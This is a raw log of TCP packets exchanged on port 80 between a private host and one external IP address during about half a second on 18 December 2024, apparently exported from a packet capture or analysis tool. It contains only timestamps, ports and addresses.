Dec 18, 2024 13:49:55.388403893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.388542891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.388648033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.389261007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.389492989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.389600039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.390430927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.390661955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.390795946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.391267061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.391501904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.391591072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.392292976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.392520905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.392565966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.393199921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.393420935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.393517017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.394170046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.394392967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.394443989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.395178080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.395402908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.395466089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.396145105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.396373987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.396440983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.397154093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.397381067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.397448063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.398098946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.398360014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.398463964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.399081945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.399271011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.399641037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.400068045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.400300980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.400372028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.401040077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.401267052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.401514053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.402164936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.402388096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.402467966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.403014898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.403253078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.403330088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.403944969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.404185057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.404237032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.404956102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.405196905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.405261993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.405936003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.406151056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.406222105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.406919003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.407145977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.407253027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.407861948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.408118963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.408174992 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.408871889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.409126997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.409209013 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.409846067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.410083055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.410166025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.410825014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.411061049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.411195993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.411896944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.412180901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.412226915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.412779093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.413009882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.413105965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.413755894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.414046049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.414096117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.414729118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.414967060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.415061951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.415834904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.416099072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.416487932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.416743040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.416912079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.416976929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.417670965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.417891979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.418061018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.418674946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.418900013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.419003010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.419632912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.419909954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.419977903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.420717001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.420902967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.420943975 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.421606064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.421813011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.421942949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.422596931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.422808886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.422875881 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.423732996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.423930883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.424086094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.424633026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.424772978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.424849033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.425556898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.425811052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.425857067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.426636934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.426776886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.426990986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.427472115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.427692890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.427771091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.428471088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.428694010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.428740978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.429456949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.429864883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.429924965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.430728912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.431050062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.431310892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.431644917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.431802034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.431885004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.432442904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.432677031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.432785988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.433352947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.433582067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.433662891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.434339046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.434561014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.434603930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.435256958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.478168011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.580178976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.580396891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.580461025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.580744028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.581166983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.581387043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.581577063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.582066059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.582462072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.582561016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.582843065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.582890034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.583592892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.583731890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.583800077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.584578037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.584717035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.584858894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.585464954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.585696936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.585834980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.586443901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.586678028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.586723089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.587594032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.587721109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.587806940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.588465929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.588686943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.588933945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.589384079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.589610100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.589699030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.590348005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.590579987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.590706110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.591344118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.591553926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.591641903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.592349052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.592607975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.592744112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.593310118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.593519926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.593585014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.594260931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.594510078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.594598055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.595293045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.595529079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.595639944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.596580982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.596800089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.596854925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.597491026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.597639084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.597788095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.598234892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.598428965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.598494053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.599165916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.599401951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.599576950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.600202084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.600384951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.600553036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.601125002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.601377964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.601593971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.602129936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.602351904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.602404118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.603178024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.603327036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.603559971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.604113102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.604307890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.604362011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.605062962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.605360985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.605487108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.606045961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.606256008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.606437922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.607069969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.607301950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.607378006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.608000040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.608213902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.608329058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.608980894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.609199047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.609270096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.609958887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.610172987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.610292912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.610918999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.611152887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.611452103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.611907959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.612152100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.612209082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.612891912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.613121033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.613184929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.613886118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.614125013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.614259958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.614953041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.615202904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.615330935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.615835905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.616105080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.616163015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.616802931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.617034912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.617089033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.617804050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.618036985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.618155956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.618792057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.618976116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.619060993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.619740009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.619945049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.620070934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.620863914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.621119022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.621210098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.621787071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.622113943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.622273922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.622876883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.623056889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.623117924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.623644114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.623869896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.623939037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.624646902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.624850035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.624917030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.625648022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.625870943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.625951052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.626589060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.626828909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.626882076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.627558947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.627777100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.627832890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.628535986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.628766060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.628824949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.629544020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.629748106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.629889011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.630501032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.630740881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.630793095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.631444931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.681262970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.772563934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.772756100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.772892952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.772943974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.773117065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.773202896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.773549080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.773926973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.774012089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.774421930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.774918079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.775000095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.775239944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.775949955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.776078939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.776082039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.776880026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.776937008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.777115107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.777806997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.777879953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.778027058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.778780937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.778851032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.779028893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.779807091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.779874086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.780019999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.780844927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.780937910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.781100988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.781749964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.781816959 CET	49822	80	192.168.2.6	176.113.115.178
